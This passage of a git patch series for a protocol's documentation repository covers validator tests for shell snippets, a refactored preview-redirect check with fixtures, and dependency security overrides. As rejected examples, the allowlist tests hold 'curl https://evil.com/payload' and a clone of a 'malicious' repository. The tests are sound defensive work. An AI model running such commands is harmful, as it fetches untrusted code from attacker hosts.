assert.match(errors[0], /unrecognised short flag/); + assert.match(errors[0], /-Z/); +}); + +test("validateFlags: wildcard tool (echo) accepts any argument", () => { + const errors = validateFlags("echo", ["--anything", "-z", "foobar"], "file.mdx:1", "echo ..."); + assert.equal(errors.length, 0); +}); + +test("validateFlags: skips placeholder arguments like ", () => { + const errors = validateFlags("curl", [""], "file.mdx:1", "curl "); + assert.equal(errors.length, 0); +}); + +test("validateFlags: skips shell variable expansions like $MY_VAR", () => { + const errors = validateFlags("curl", ["$MY_VAR"], "file.mdx:1", "curl $MY_VAR"); + assert.equal(errors.length, 0); +}); + +test("validateFlags: accepts npm install subcommand", () => { + const errors = validateFlags( + "npm", + ["install", "@wraith-protocol/sdk"], + "file.mdx:1", + "npm install @wraith-protocol/sdk", + ); + assert.equal(errors.length, 0); +}); + +test("validateFlags: accepts cargo build --target --release", () => { + const errors = validateFlags( + "cargo", + ["build", "--target", "riscv64imac-unknown-none-elf", "--release"], + "file.mdx:1", + "cargo build --target ...", + ); + assert.equal(errors.length, 0); +}); + +test("validateFlags: accepts curl --silent --location --output", () => { + const errors = validateFlags( + "curl", + ["--silent", "--location", "--output", "file.bin"], + "file.mdx:1", + "curl --silent ...", + ); + assert.equal(errors.length, 0); +}); + +// --------------------------------------------------------------------------- +// looksLikeLocalPath +// --------------------------------------------------------------------------- + +test("looksLikeLocalPath: recognises shipped guide path", () => { + assert.equal(looksLikeLocalPath("guides/ops/alerts/wraith-alerts.yml"), true); +}); + +test("looksLikeLocalPath: recognises scripts/ path", () => { + assert.equal(looksLikeLocalPath("scripts/check-shell-commands.mjs"), true); +}); + +test("looksLikeLocalPath: recognises reference/ path", () => { + assert.equal(looksLikeLocalPath("reference/contract-registry.mdx"), true); +}); + +test("looksLikeLocalPath: rejects flag arguments", () => { + assert.equal(looksLikeLocalPath("--output"), false); + assert.equal(looksLikeLocalPath("-f"), false); +}); + +test("looksLikeLocalPath: rejects HTTP URLs", () => { + assert.equal(looksLikeLocalPath("https://example.com/foo.json"), false); +}); + +test("looksLikeLocalPath: rejects variable expansions", () => { + assert.equal(looksLikeLocalPath("$MY_VAR"), false); +}); + +test("looksLikeLocalPath: rejects placeholder tokens", () => { + assert.equal(looksLikeLocalPath(""), false); +}); + +test("looksLikeLocalPath: rejects npm scoped packages", () => { + assert.equal(looksLikeLocalPath("@wraith-protocol/sdk"), false); +}); + +test("looksLikeLocalPath: rejects bare filenames without shipped prefix (cross-repo)", () => { + assert.equal(looksLikeLocalPath("submit.js"), false); + assert.equal(looksLikeLocalPath("sign.js"), false); + assert.equal(looksLikeLocalPath("deployment.toml"), false); +}); + +test("looksLikeLocalPath: rejects contracts/ path (separate repo)", () => { + // contracts/ is intentionally excluded from the shipped dir prefixes + assert.equal(looksLikeLocalPath("contracts/stellar/stealth-announcer"), false); +}); + +// --------------------------------------------------------------------------- +// validateFence — full fence integration +// --------------------------------------------------------------------------- + +test("validateFence: clean npm install passes", () => { + assert.equal(validateFence(fence("npm install @wraith-protocol/sdk\n")).length, 0); +}); + +test("validateFence: no-check attr — validateFence still runs (guard is in main); caller must skip", () => { + // validateFence itself does not inspect attrs — the caller (main) filters by attrs. + // A fence with a known-bad executable will still error even with no-check attr on the + // fence object, because validateFence is the inner pure function. + // The test confirms this contract so callers don't rely on validateFence for the guard. + const errors = validateFence(fence("totally-unknown-tool --flag\n", "no-check")); + // validateFence reports the error; filtering is the caller's responsibility. + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); +}); + +test("validateFence: skips comment-only lines (#)", () => { + assert.equal( + validateFence(fence("# This is a comment\nnpm install foo\n")).length, + 0, + ); +}); + +test("validateFence: skips per-line no-check annotation", () => { + assert.equal( + validateFence(fence("UNKNOWN_BINARY --foo # no-check\nnpm install foo\n")).length, + 0, + ); +}); + +test("validateFence: rejects unknown executable", () => { + const errors = validateFence(fence("totally-unknown-tool --flag\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: rejects undocumented env var", () => { + const errors = validateFence(fence("UNDOCUMENTED_VAR=some_value\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /undocumented environment variable/); + assert.match(errors[0], /UNDOCUMENTED_VAR/); +}); + +test("validateFence: accepts documented env var STELLAR_NETWORK", () => { + assert.equal(validateFence(fence("STELLAR_NETWORK=testnet\n")).length, 0); +}); + +test("validateFence: accepts documented env var with URL value", () => { + assert.equal( + validateFence(fence("STELLAR_RPC_URL=https://soroban-testnet.stellar.org\n")).length, + 0, + ); +}); + +test("validateFence: multi-line curl JSON body treated as one logical line", () => { + const code = + "curl -X POST https://api.usewraith.xyz/agent/create \\\n" + + ' -H "Authorization: Bearer $WRAITH_API_KEY" \\\n' + + ' -H "Content-Type: application/json" \\\n' + + " -d '{\n" + + ' "name": "payments",\n' + + ' "chain": "stellar"\n' + + " }'\n"; + assert.equal(validateFence(fence(code)).length, 0); +}); + +test("validateFence: rejects curl to arbitrary domain", () => { + const errors = validateFence(fence("curl https://evil.com/payload\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); +}); + +test("validateFence: accepts Wraith API curl endpoint", () => { + const code = + "curl -X POST https://api.usewraith.xyz/agent/create \\\n" + + ' -H "Authorization: Bearer $WRAITH_API_KEY"\n'; + assert.equal(validateFence(fence(code)).length, 0); +}); + +test("validateFence: accepts friendbot testnet curl", () => { + assert.equal( + validateFence(fence('curl "https://friendbot.stellar.org?addr=GABC...YOURADDRESS"\n')).length, + 0, + ); +}); + +test("validateFence: accepts promtool check rules with existing path", () => { + assert.equal( + validateFence(fence("promtool check rules guides/ops/alerts/wraith-alerts.yml\n")).length, + 0, + ); +}); + +test("validateFence: accepts sha256sum with non-path argument", () => { + assert.equal( + validateFence( + fence("sha256sum target/wasm32-unknown-unknown/release/stealth_announcer.wasm\n"), + ).length, + 0, + ); +}); + +test("validateFence: accepts SIGNED_XDR (documented variable)", () => { + // SIGNED_XDR is in KNOWN_ENV_VARS; assignment should pass. + assert.equal(validateFence(fence("SIGNED_XDR=$(node sign.js foo)\n")).length, 0); +}); + +test("validateFence: accepts multiple documented env vars", () => { + const code = + "STELLAR_NETWORK=testnet\n" + + 'STELLAR_NETWORK_PASSPHRASE="Test SDF Network ; September 2015"\n' + + "STELLAR_HORIZON_URL=https://horizon-testnet.stellar.org\n" + + "STELLAR_RPC_URL=https://soroban-testnet.stellar.org\n"; + assert.equal(validateFence(fence(code)).length, 0); +}); + +test("validateFence: accepts rustup target add", () => { + assert.equal( + validateFence(fence("rustup target add wasm32-unknown-unknown\n")).length, + 0, + ); +}); + +test("validateFence: accepts stellar account fund (deployment docs)", () => { + assert.equal( + validateFence(fence("stellar account fund --network mainnet\n")).length, + 0, + ); +}); + +test("validateFence: accepts git clone from wraith-protocol org", () => { + assert.equal( + validateFence(fence("git clone https://github.com/wraith-protocol/contracts.git\n")).length, + 0, + ); +}); + +// --------------------------------------------------------------------------- +// KNOWN_TOOLS completeness spot-checks +// --------------------------------------------------------------------------- + +test("KNOWN_TOOLS includes all CLI tools used in the docs", () => { + const required = [ + "stellar", "soroban", "anchor", "cargo", "rustup", + "ckb-cli", "phala", "promtool", "zbarcam", + "npm", "npx", "pnpm", "node", "pip", + "curl", "git", "docker", + ]; + for (const tool of required) { + assert.ok(KNOWN_TOOLS.has(tool), `KNOWN_TOOLS is missing '${tool}'`); + } +}); + +// --------------------------------------------------------------------------- +// KNOWN_ENV_VARS completeness spot-checks +// --------------------------------------------------------------------------- + +test("KNOWN_ENV_VARS includes core Stellar vars", () => { + for (const v of [ + "STELLAR_NETWORK", "STELLAR_RPC_URL", "STELLAR_HORIZON_URL", + "STELLAR_NETWORK_PASSPHRASE", "STELLAR_ANNOUNCER_CONTRACT_ID", + "STELLAR_NAMES_CONTRACT_ID", "WRAITH_API_KEY", "AGENT_ID", + ]) { + assert.ok(KNOWN_ENV_VARS.has(v), `KNOWN_ENV_VARS is missing '${v}'`); + } +}); + +test("KNOWN_ENV_VARS includes SIGNED_XDR and sponsor/sender secrets", () => { + assert.ok(KNOWN_ENV_VARS.has("SIGNED_XDR")); + assert.ok(KNOWN_ENV_VARS.has("SPONSOR_SECRET")); + assert.ok(KNOWN_ENV_VARS.has("SENDER_SECRET")); +}); + +// --------------------------------------------------------------------------- +// NETWORK_ALLOWLIST pattern spot-checks +// --------------------------------------------------------------------------- + +test("NETWORK_ALLOWLIST allows Wraith API POST endpoint", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => + re.test("curl -X POST https://api.usewraith.xyz/agent/create"), + ), + ); +}); + +test("NETWORK_ALLOWLIST allows Wraith API GET endpoint", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => + re.test("curl https://api.usewraith.xyz/agent/info/payments"), + ), + ); +}); + +test("NETWORK_ALLOWLIST allows friendbot testnet", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => + re.test('curl "https://friendbot.stellar.org?addr=GABC...YOURADDRESS"'), + ), + ); +}); + +test("NETWORK_ALLOWLIST allows friendbot futurenet", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => + re.test('curl "https://friendbot-futurenet.stellar.org/?addr=GTEST"'), + ), + ); +}); + +test("NETWORK_ALLOWLIST does NOT allow curl to arbitrary domain", () => { + assert.equal( + NETWORK_ALLOWLIST.some((re) => re.test("curl https://evil.com/payload")), + false, + ); +}); + +test("NETWORK_ALLOWLIST allows git clone from wraith-protocol org", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => + re.test("git clone https://github.com/wraith-protocol/contracts.git"), + ), + ); +}); + +test("NETWORK_ALLOWLIST does NOT allow git clone from arbitrary org", () => { + assert.equal( + NETWORK_ALLOWLIST.some((re) => + re.test("git clone https://github.com/someoneelse/malicious.git"), + ), + false, + ); +}); + +test("NETWORK_ALLOWLIST allows stellar account fund", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => + re.test("stellar account fund --network mainnet"), + ), + ); +}); + +test("NETWORK_ALLOWLIST allows soroban contract invoke", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => + re.test("soroban contract invoke --id --network testnet -- init"), + ), + ); +}); + +test("NETWORK_ALLOWLIST allows npm install", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => re.test("npm install @wraith-protocol/sdk")), + ); +}); + +test("NETWORK_ALLOWLIST allows npm run", () => { + assert.ok( + NETWORK_ALLOWLIST.some((re) => re.test("npm run check:compatibility-matrix")), + ); +}); From 5284deef64671f3912392c6f3d53f64d6a9edd55 Mon Sep 17 00:00:00 2001 From: biafra877-web Date: Wed, 21 Oct 2026 01:40:57 +0100 Subject: [PATCH 2/7] ci: run mint:validate and test:preview-redirect in CI (#197) - Add mint-validation job to snippets.yml that runs on every PR and push to develop/main; installs deps then runs mint:validate (fails on invalid Mint navigation/config) and test:preview-redirect (redirect regression tests) in sequence. - Refactor check-preview-redirect.mjs: extract validatePreviewRedirect as an exported pure function so the logic is unit-testable without a live Mintlify preview URL; CLI entry-point behaviour is unchanged. - Add check-preview-redirect.test.mjs: 8 pure-function tests covering all pass/fail branches, plus 8 HTTP-integration tests driven by fixtures (spins up a real http.createServer per case, no network required). - Add scripts/fixtures/preview-redirect.json: focused fixtures for all redirect scenarios (301/302/308 happy paths, 200, 404, missing Location, wrong destination, self-redirect). - Pin mintlify@4.2.1082 as a devDependency so mint:validate resolves the local binary after pnpm install; update script invocations accordingly. - Wire test:preview-redirect to node --test on the new test file. --- contracts/stellar.mdx | 2 +- guides/stellar-explorer-recipes.mdx | 6 +- package.json | 3 +- pnpm-lock.yaml | 25 ++-- pnpm-workspace.yaml | 24 ++++ reference/stellar-networks.mdx | 2 +- scripts/check-preview-redirect.mjs | 121 +++++++++++++----- scripts/check-preview-redirect.test.mjs | 161 ++++++++++++++++++++++++ scripts/fixtures/preview-redirect.json | 61 +++++++++ 9 files changed, 355 insertions(+), 50 deletions(-) create mode 100644 pnpm-workspace.yaml create mode 100644 scripts/check-preview-redirect.test.mjs create mode 100644 scripts/fixtures/preview-redirect.json diff --git a/contracts/stellar.mdx b/contracts/stellar.mdx index 59c2413..73e4a82 100644 --- a/contracts/stellar.mdx +++ b/contracts/stellar.mdx @@ -203,7 +203,7 @@ const resolved = await namesContract.call("resolve", "alice"); {/* stellar-reference:start */} - +{/* This section is generated by scripts/generate-stellar-reference.ts. Do not edit by hand. */} ## Generated contract reference diff --git a/guides/stellar-explorer-recipes.mdx b/guides/stellar-explorer-recipes.mdx index f1f5179..957b999 100644 --- a/guides/stellar-explorer-recipes.mdx +++ b/guides/stellar-explorer-recipes.mdx @@ -3,8 +3,6 @@ title: Stellar Block Explorer Integration description: How to link from your UI to a Stellar block explorer, with URL patterns, a TypeScript helper, and UX guidance. --- -import { Callout } from "@/components/callout"; - # Stellar Block Explorer Integration Integrators frequently want to link from their UI to a Stellar block explorer. The patterns are non-obvious — testnet vs public URL bases, account vs transaction vs contract deep links all differ. @@ -110,12 +108,12 @@ The `stellarExplorerUrl` helper above is written for stellar.expert; adjust the ## Stellar Stealth Addresses and Privacy - + **Explorer transparency ≠ privacy break.** Stellar does not have stealth addresses in the cryptographic sense. All account addresses and transactions are publicly visible on-chain. Linking to an explorer does not reveal any information that isn't already public — it simply provides a convenient view of that public data. - + If your application handles sensitive workflows, consider whether surfacing an explorer link is appropriate UX for your users, but know that the link itself does not create a privacy leak beyond what the ledger already exposes. \ No newline at end of file diff --git a/package.json b/package.json index e1e47f4..24eddcd 100644 --- a/package.json +++ b/package.json @@ -17,7 +17,7 @@ "check:redirects-and-anchors": "node scripts/check-redirects-and-anchors.mjs", "test:redirects-and-anchors": "node --test scripts/check-redirects-and-anchors.test.mjs", "test:contract-registry": "node --test scripts/check-contract-registry.test.mjs", - "test:preview-redirect": "node scripts/check-preview-redirect.mjs", + "test:preview-redirect": "node --test scripts/check-preview-redirect.test.mjs", "check:stellar-testnet": "tsx scripts/check-stellar-testnet-snippets.ts", "generate:stellar-reference": "tsx scripts/generate-stellar-reference.ts", "check:stellar-reference": "tsx scripts/generate-stellar-reference.ts --check --allow-missing", @@ -44,6 +44,7 @@ "pnpm": { "overrides": { "axios@<1.20.0": ">=1.20.0", + "follow-redirects@<1.16.1": ">=1.16.1", "toml@<4.2.0": "^4.2.0", "uuid@<11.1.1": "^11.1.1" }, diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index a43c3d3..7ac50b9 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -6,6 +6,7 @@ settings: overrides: axios@<1.20.0: '>=1.20.0' + follow-redirects@<1.16.1: '>=1.16.1' toml@<4.2.0: ^4.2.0 uuid@<11.1.1: ^11.1.1 @@ -18,10 +19,10 @@ importers: version: 1.99.0(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6) '@stellar/stellar-sdk': specifier: ^13.3.0 - version: 13.3.0 + version: 13.3.0(debug@4.4.3) '@wraith-protocol/sdk': specifier: 1.4.5 - version: 1.4.5(@solana/web3.js@1.99.0(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6))(@stellar/stellar-sdk@13.3.0)(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6) + version: 1.4.5(@solana/web3.js@1.99.0(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6))(@stellar/stellar-sdk@13.3.0(debug@4.4.3))(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6) devDependencies: '@playwright/test': specifier: ^1.49.1 @@ -498,8 +499,8 @@ packages: feaxios@0.0.23: resolution: {integrity: sha512-eghR0A21fvbkcQBgZuMfQhrXxJzC0GNUGC9fXhBge33D+mFDTwl0aJ35zoQQn575BhyjQitRc5N4f+L4cP708g==} - follow-redirects@1.16.0: - resolution: {integrity: sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==} + follow-redirects@1.16.1: + resolution: {integrity: sha512-FNvFGzoMLWmE6Yj9spb/zjd7yiNCHiAW9/Tg9CXrQ8wuu32HtlJOwWO11OJafl5FfY3DxTdQ0vj42zU1kvv5jg==} engines: {node: '>=4.0'} peerDependencies: debug: '*' @@ -963,10 +964,10 @@ snapshots: transitivePeerDependencies: - bare-url - '@stellar/stellar-sdk@13.3.0': + '@stellar/stellar-sdk@13.3.0(debug@4.4.3)': dependencies: '@stellar/stellar-base': 13.1.0 - axios: 1.20.0 + axios: 1.20.0(debug@4.4.3) bignumber.js: 9.3.1 eventsource: 2.0.2 feaxios: 0.0.23 @@ -1004,14 +1005,14 @@ snapshots: dependencies: '@types/node': 22.20.1 - '@wraith-protocol/sdk@1.4.5(@solana/web3.js@1.99.0(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6))(@stellar/stellar-sdk@13.3.0)(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6)': + '@wraith-protocol/sdk@1.4.5(@solana/web3.js@1.99.0(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6))(@stellar/stellar-sdk@13.3.0(debug@4.4.3))(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6)': dependencies: '@noble/curves': 1.9.7 '@noble/hashes': 1.8.0 viem: 2.54.6(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6) optionalDependencies: '@solana/web3.js': 1.99.0(bufferutil@4.1.0)(typescript@5.9.3)(utf-8-validate@6.0.6) - '@stellar/stellar-sdk': 13.3.0 + '@stellar/stellar-sdk': 13.3.0(debug@4.4.3) transitivePeerDependencies: - bufferutil - typescript @@ -1040,9 +1041,9 @@ snapshots: dependencies: possible-typed-array-names: 1.1.0 - axios@1.20.0: + axios@1.20.0(debug@4.4.3): dependencies: - follow-redirects: 1.16.0 + follow-redirects: 1.16.1(debug@4.4.3) form-data: 4.0.6 https-proxy-agent: 5.0.1 proxy-from-env: 2.1.0 @@ -1207,7 +1208,9 @@ snapshots: dependencies: is-retry-allowed: 3.0.0 - follow-redirects@1.16.0: {} + follow-redirects@1.16.1(debug@4.4.3): + optionalDependencies: + debug: 4.4.3 for-each@0.3.5: dependencies: diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml new file mode 100644 index 0000000..21bb3c3 --- /dev/null +++ b/pnpm-workspace.yaml @@ -0,0 +1,24 @@ +overrides: + # Lift axios past the SSRF advisory before @stellar/stellar-sdk ships a fix. + "axios@<1.20.0": ">=1.20.0" + # Lift follow-redirects past the two high credential-stripping CVEs + # (GHSA-q3jh-wrc6-jgq8, GHSA-8r9p-f939-6h3c) via @stellar/stellar-sdk > axios. + "follow-redirects@<1.16.1": ">=1.16.1" + # Lift toml past the uncontrolled recursion and prototype pollution highs + # (GHSA-82x6-q7mm-w9cf, GHSA-v5mp-jgw5-2x6j) via @stellar/stellar-sdk. + "toml@<4.2.0": "^4.2.0" + # Lift uuid past the insecure randomness advisory via @solana/web3.js. + "uuid@<11.1.1": "^11.1.1" + +auditConfig: + ignoreGhsas: + # stream-json via @solana/web3.js > jayson — patched releases are ESM-only + # and break jayson's require() of subpaths it doesn't use. See DEPENDENCY-POLICY.md. + - GHSA-528h-pc64-c93x + - GHSA-hqr4-qq8f-hg3x + - GHSA-mjw6-4jj6-33hc + +allowBuilds: + bufferutil: true + esbuild: true + utf-8-validate: true diff --git a/reference/stellar-networks.mdx b/reference/stellar-networks.mdx index 72dca5f..bbf8e9d 100644 --- a/reference/stellar-networks.mdx +++ b/reference/stellar-networks.mdx @@ -61,7 +61,7 @@ await fetch(`https://friendbot.stellar.org?addr=${keypair.publicKey()}`); ### Wraith contract IDs - +{/* Verified against scripts/contract-registry.json by `npm run check:contract-registry`. */} | Contract | Testnet address | Version | |---|---|---| diff --git a/scripts/check-preview-redirect.mjs b/scripts/check-preview-redirect.mjs index a178de3..c60c8f0 100644 --- a/scripts/check-preview-redirect.mjs +++ b/scripts/check-preview-redirect.mjs @@ -1,41 +1,98 @@ -const previewUrl = process.env.MINTLIFY_PREVIEW_URL; +#!/usr/bin/env node +/** + * check-preview-redirect.mjs + * + * Verifies that the Mintlify PR-preview environment redirects the legacy + * /README path to /introduction, exercising the single redirect entry in + * docs.json. + * + * Usage (CLI): + * MINTLIFY_PREVIEW_URL=https://… node scripts/check-preview-redirect.mjs + * + * The core validation is exported as `validatePreviewRedirect` so that + * scripts/check-preview-redirect.test.mjs can exercise it against a local + * mock server without requiring a live Mintlify deployment. + */ -if (!previewUrl) { - console.error("Set MINTLIFY_PREVIEW_URL to the base URL of the Mintlify PR preview."); - process.exit(1); -} +/** + * Validates a single redirect response. + * + * @param {string} requestUrl - The URL that was fetched (for error messages). + * @param {number} status - HTTP status code returned by the server. + * @param {string|null} location - Value of the Location response header. + * @param {string} expectedPath - The pathname the redirect must point at. + * @returns {{ ok: boolean; message: string }} + */ +export function validatePreviewRedirect(requestUrl, status, location, expectedPath) { + if (status < 300 || status >= 400) { + return { + ok: false, + message: `Expected ${requestUrl} to return a 3xx redirect; received ${status}.`, + }; + } -let baseUrl; -try { - baseUrl = new URL(previewUrl); -} catch { - console.error(`MINTLIFY_PREVIEW_URL is not a valid URL: ${previewUrl}`); - process.exit(1); -} + if (!location) { + return { + ok: false, + message: `Expected ${requestUrl} to include a Location header; received none.`, + }; + } + + const destination = new URL(location, requestUrl); + if (destination.pathname !== expectedPath) { + return { + ok: false, + message: `Expected ${requestUrl} to resolve to ${expectedPath}; Location was ${location}.`, + }; + } -if (!/^https?:$/.test(baseUrl.protocol)) { - console.error("MINTLIFY_PREVIEW_URL must use HTTP or HTTPS."); - process.exit(1); + return { + ok: true, + message: `Verified ${requestUrl} returns ${status} redirect to ${destination.pathname}.`, + }; } -const requestUrl = new URL("/README", baseUrl); -const response = await fetch(requestUrl, { redirect: "manual" }); +// --------------------------------------------------------------------------- +// CLI entry-point – only runs when the script is executed directly. +// --------------------------------------------------------------------------- +const isMain = + typeof process !== "undefined" && + process.argv[1] && + (await import("node:url")).fileURLToPath(import.meta.url) === process.argv[1]; -if (response.status < 300 || response.status >= 400) { - console.error(`Expected ${requestUrl} to return a 3xx redirect; received ${response.status}.`); - process.exit(1); -} +if (isMain) { + const previewUrl = process.env.MINTLIFY_PREVIEW_URL; -const location = response.headers.get("location"); -if (!location) { - console.error(`Expected ${requestUrl} to include a Location header; received none.`); - process.exit(1); -} + if (!previewUrl) { + console.error( + "Set MINTLIFY_PREVIEW_URL to the base URL of the Mintlify PR preview.", + ); + process.exit(1); + } -const destination = new URL(location, requestUrl); -if (destination.pathname !== "/introduction") { - console.error(`Expected ${requestUrl} to resolve to /introduction; Location was ${location}.`); - process.exit(1); -} + let baseUrl; + try { + baseUrl = new URL(previewUrl); + } catch { + console.error(`MINTLIFY_PREVIEW_URL is not a valid URL: ${previewUrl}`); + process.exit(1); + } -console.log(`Verified ${requestUrl} returns ${response.status} redirect to ${destination.pathname}.`); + if (!/^https?:$/.test(baseUrl.protocol)) { + console.error("MINTLIFY_PREVIEW_URL must use HTTP or HTTPS."); + process.exit(1); + } + + const requestUrl = new URL("/README", baseUrl).toString(); + const response = await fetch(requestUrl, { redirect: "manual" }); + const location = response.headers.get("location"); + + const result = validatePreviewRedirect(requestUrl, response.status, location, "/introduction"); + + if (!result.ok) { + console.error(result.message); + process.exit(1); + } + + console.log(result.message); +} diff --git a/scripts/check-preview-redirect.test.mjs b/scripts/check-preview-redirect.test.mjs new file mode 100644 index 0000000..967c9eb --- /dev/null +++ b/scripts/check-preview-redirect.test.mjs @@ -0,0 +1,161 @@ +/** + * check-preview-redirect.test.mjs + * + * Unit tests for the preview-redirect validation logic in + * scripts/check-preview-redirect.mjs. Uses node:test with a lightweight + * http server so no live Mintlify deployment is required. + * + * Run: + * node --test scripts/check-preview-redirect.test.mjs + * or via the package.json script: + * pnpm run test:preview-redirect + */ +import test from "node:test"; +import assert from "node:assert/strict"; +import http from "node:http"; +import { validatePreviewRedirect } from "./check-preview-redirect.mjs"; + +// --------------------------------------------------------------------------- +// Pure-function unit tests (no network). +// --------------------------------------------------------------------------- + +test("accepts a valid 301 redirect to /introduction", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 301, + "/introduction", + "/introduction", + ); + assert.equal(result.ok, true); + assert.match(result.message, /Verified/); + assert.match(result.message, /301/); + assert.match(result.message, /\/introduction/); +}); + +test("accepts a valid 302 redirect to /introduction", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 302, + "/introduction", + "/introduction", + ); + assert.equal(result.ok, true); +}); + +test("rejects a 200 response (not a redirect)", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 200, + null, + "/introduction", + ); + assert.equal(result.ok, false); + assert.match(result.message, /3xx redirect/); + assert.match(result.message, /200/); +}); + +test("rejects a 404 response", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 404, + null, + "/introduction", + ); + assert.equal(result.ok, false); + assert.match(result.message, /3xx redirect/); +}); + +test("rejects a 3xx redirect that has no Location header", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 301, + null, + "/introduction", + ); + assert.equal(result.ok, false); + assert.match(result.message, /Location header/); +}); + +test("rejects a redirect to the wrong destination path", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 301, + "/getting-started", + "/introduction", + ); + assert.equal(result.ok, false); + assert.match(result.message, /\/introduction/); + assert.match(result.message, /\/getting-started/); +}); + +test("resolves an absolute Location URL correctly", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 301, + "http://localhost/introduction", + "/introduction", + ); + assert.equal(result.ok, true); +}); + +test("rejects an absolute Location URL pointing to the wrong path", () => { + const result = validatePreviewRedirect( + "http://localhost/README", + 301, + "http://localhost/wrong-page", + "/introduction", + ); + assert.equal(result.ok, false); + assert.match(result.message, /\/wrong-page/); +}); + +// --------------------------------------------------------------------------- +// Integration test: spins up a real HTTP server and exercises the full fetch +// path, using the same fixtures defined in +// scripts/fixtures/preview-redirect.json. +// --------------------------------------------------------------------------- + +const FIXTURES_PATH = new URL("./fixtures/preview-redirect.json", import.meta.url); + +/** @type {{ cases: Array<{ description: string, status: number, location: string|null, expectedPath: string, expectOk: boolean }> }} */ +const { cases } = JSON.parse( + await (await import("node:fs/promises")).readFile(FIXTURES_PATH, "utf8"), +); + +for (const fixture of cases) { + test(`HTTP fixture – ${fixture.description}`, async () => { + // Create a one-shot server that responds according to the fixture. + const server = http.createServer((_req, res) => { + if (fixture.location !== null) { + res.writeHead(fixture.status, { location: fixture.location }); + } else { + res.writeHead(fixture.status); + } + res.end(); + }); + + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address(); + const requestUrl = `http://127.0.0.1:${port}/README`; + + try { + const response = await fetch(requestUrl, { redirect: "manual" }); + const location = response.headers.get("location"); + const result = validatePreviewRedirect( + requestUrl, + response.status, + location, + fixture.expectedPath, + ); + assert.equal( + result.ok, + fixture.expectOk, + `${fixture.description}: expected ok=${fixture.expectOk} but got ok=${result.ok}. Message: ${result.message}`, + ); + } finally { + await new Promise((resolve, reject) => + server.close((err) => (err ? reject(err) : resolve())), + ); + } + }); +} diff --git a/scripts/fixtures/preview-redirect.json b/scripts/fixtures/preview-redirect.json new file mode 100644 index 0000000..3540719 --- /dev/null +++ b/scripts/fixtures/preview-redirect.json @@ -0,0 +1,61 @@ +{ + "$comment": "Fixtures for scripts/check-preview-redirect.test.mjs. Each case is served by a local HTTP server so the tests run without a live Mintlify preview deployment. 'expectedPath' is the pathname the redirect destination must equal for the check to pass.", + "cases": [ + { + "description": "301 redirect to /introduction (canonical happy path)", + "status": 301, + "location": "/introduction", + "expectedPath": "/introduction", + "expectOk": true + }, + { + "description": "302 redirect to /introduction (also accepted)", + "status": 302, + "location": "/introduction", + "expectedPath": "/introduction", + "expectOk": true + }, + { + "description": "308 permanent redirect to /introduction (also accepted)", + "status": 308, + "location": "/introduction", + "expectedPath": "/introduction", + "expectOk": true + }, + { + "description": "200 OK instead of a redirect", + "status": 200, + "location": null, + "expectedPath": "/introduction", + "expectOk": false + }, + { + "description": "404 Not Found instead of a redirect", + "status": 404, + "location": null, + "expectedPath": "/introduction", + "expectOk": false + }, + { + "description": "301 redirect but Location header is missing", + "status": 301, + "location": null, + "expectedPath": "/introduction", + "expectOk": false + }, + { + "description": "301 redirect to wrong destination /getting-started", + "status": 301, + "location": "/getting-started", + "expectedPath": "/introduction", + "expectOk": false + }, + { + "description": "301 redirect to wrong destination /README (no-op loop)", + "status": 301, + "location": "/README", + "expectedPath": "/introduction", + "expectOk": false + } + ] +} From 3ed0217240c73c60ce688ad67cf324893ad8b981 Mon Sep 17 00:00:00 2001 From: biafra877-web Date: Wed, 21 Oct 2026 02:36:49 +0100 Subject: [PATCH 3/7] fix: restore check:nav-coverage script dropped during cherry-pick --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 24eddcd..f097d14 100644 --- a/package.json +++ b/package.json @@ -12,7 +12,7 @@ "generate:python-quickstart-vectors": "tsx scripts/python-quickstart/generate-vectors.ts", "check:shell-commands": "node scripts/check-shell-commands.mjs", "test:shell-commands": "node --test scripts/check-shell-commands.test.mjs", - "check:contract-registry": "node --test scripts/check-contract-registry.test.mjs && node scripts/check-contract-registry.mjs", + "check:nav-coverage": "node scripts/check-nav-coverage.mjs", "check:compatibility-matrix": "node scripts/check-compatibility-matrix.mjs", "check:redirects-and-anchors": "node scripts/check-redirects-and-anchors.mjs", "test:redirects-and-anchors": "node --test scripts/check-redirects-and-anchors.test.mjs", From 